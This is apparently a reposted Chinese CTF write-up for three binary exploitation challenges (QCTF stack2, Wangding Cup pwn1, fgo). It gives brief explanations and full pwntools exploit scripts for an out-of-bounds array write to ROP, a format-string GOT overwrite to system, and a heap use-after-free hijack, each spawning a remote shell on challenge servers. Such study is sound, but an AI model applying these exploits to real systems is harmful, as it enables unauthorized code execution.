标签:lin 服务 targe ted 服务器 自动 imp 没有 shel
qctf stack2:
服务器中/bin/bash字符串不能执行,构造rop调用system(sh)拿到shell。

exp:
from pwn import *
#p=process(‘./stack2‘)
p=remote(‘47.96.239.28‘,2333)
#context.log_level=‘debug‘
p.recvuntil("have:\n")
p.sendline(‘1‘)
p.recvuntil("numbers\n")
p.send("115\n")
p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("132"+"\n")
p.recvuntil("number:\n")
p.send("180"+"\n")
p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("133"+"\n")
p.recvuntil("number:\n")
p.send("133"+"\n")
p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("134")
p.recvuntil("number:\n")
p.sendline("4")
p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("135")
p.recvuntil("number:\n")
p.sendline("8")
#####
p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("136"+"\n")
p.recvuntil("number:\n")
p.sendline(‘135‘)
p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("137"+"\n")
p.recvuntil("number:\n")
p.sendline(‘137‘)
p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("138")
p.recvuntil("number:\n")
p.sendline(‘4‘)
p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("139")
p.recvuntil("number:\n")
p.sendline(‘8‘)
p.recvuntil("exit\n")
#gdb.attach(p,"b *0x80488ee")
p.send("5\n")
p.interactive()
网鼎杯:
pwn1(格式化字符串漏洞)
没有给libc就需要泄露got地址然后查找对应的版本,查询网址:libc.ml,然后查看对于system的偏移。

#!/usr/bin/env python
from pwn import *
#Io = process("./pwn")
Io= remote("106.75.126.184",‘58579‘)
def leak(addr):
payload = p32(addr) + "%6$s"
Io.sendline(payload)
leak_data = Io.read()
return leak_data[4:8]
def get_number(printed, target):
print "[+] Target : %d" % (target)
print "[+] printed number : %d" % (printed)
if printed > target:
return 256 - printed + target
elif printed == target:
return 0
else:
return target - printed
def write_memery(target, data, offset):
lowest = data >> 8 * 3 & 0xFF
low = data >> 8 * 2 & 0xFF
high = data >> 8 * 1 & 0xFF
highest = data >> 8 * 0 & 0xFF
printed = 0
payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
length_lowest = get_number(len(payload), lowest)
length_low = get_number(lowest, low)
length_high = get_number(low, high)
length_highest = get_number(high, highest)
payload += ‘%‘ + str(length_lowest) + ‘c‘ + ‘%‘ + str(offset) + ‘$hhn‘
payload += ‘%‘ + str(length_low) + ‘c‘ + ‘%‘ + str(offset + 1) + ‘$hhn‘
payload += ‘%‘ + str(length_high) + ‘c‘ + ‘%‘ + str(offset + 2) + ‘$hhn‘
payload += ‘%‘ + str(length_highest) + ‘c‘ + ‘%‘ + str(offset + 3) + ‘$hhn‘
return payload
Io.readuntil("repeater?\n")
# leak
printf_got = 0x0804A014
system_off=0x3a940
printf_off=0x49020
Io.readuntil("\n")
printf_addr = u32(leak(printf_got))
system_addr = printf_addr - printf_off + system_off
payload = write_memery(printf_got, system_addr, 6)
Io.readuntil("\n")
Io.sendline(payload)
Io.readuntil("\n")
Io.sendline("/bin/sh")
Io.interactive()
fgo:
32位下为8bytes,64位下为16bytes对齐,而最小分配单位:32位下malloc的最小分配单位为16字节,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。;64位下最小分配单位为32字节,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。
漏洞在于delete时存在uaf,add操作先malloc(8)存放打印函数地址和content地址,紧接着自定义malloc存放content ,限定5次add操作。所以数据结构为:
servantlist:
| servantlist[0] |
| servantlist[1] |
servant(8 bytes):
| print_addr |
| content_addr |

根据fastbin原理,先malloc两个大小24的content,其中包括自动malloc两个8bytes的servanlist,随后delete(1),delete(0),然后malloc 8bytes的content,内容就会覆盖servantlist[0]指向的servant结构,用system(/bin/sh)地址覆盖print_addr实现劫持。
#!/usr/bin/env python
from pwn import *
context.log_level=‘debug‘
r=remote(‘106.75.104.139‘, 26768)
#r = process(‘./fgo‘)
def add(size,content):
r.recvuntil(‘Your choice:\n‘)
r.sendline(‘1‘)
r.recvuntil(‘name : \n‘)
r.sendline(str(size))
r.recvuntil(‘ability : \n‘)
r.sendline(content)
def delete(index):
r.recvuntil(‘Your choice:\n‘)
r.sendline(‘2‘)
r.recvuntil(‘Index : \n‘)
r.sendline(str(index))
def show(index):
r.recvuntil(‘Your choice:\n‘)
r.sendline("3")
r.recvuntil(‘Index :‘)
r.sendline(str(index))
add(20,‘1‘*4) #0
add(20,‘2‘*4) #1
delete(0)
delete(1)
add(8,p32(0x08048956)+p32(0x8048c80))
show(0)
r.interactive()
标签:lin 服务 targe ted 服务器 自动 imp 没有 shel
原文地址:https://www.cnblogs.com/Joe-Z/p/9523117.html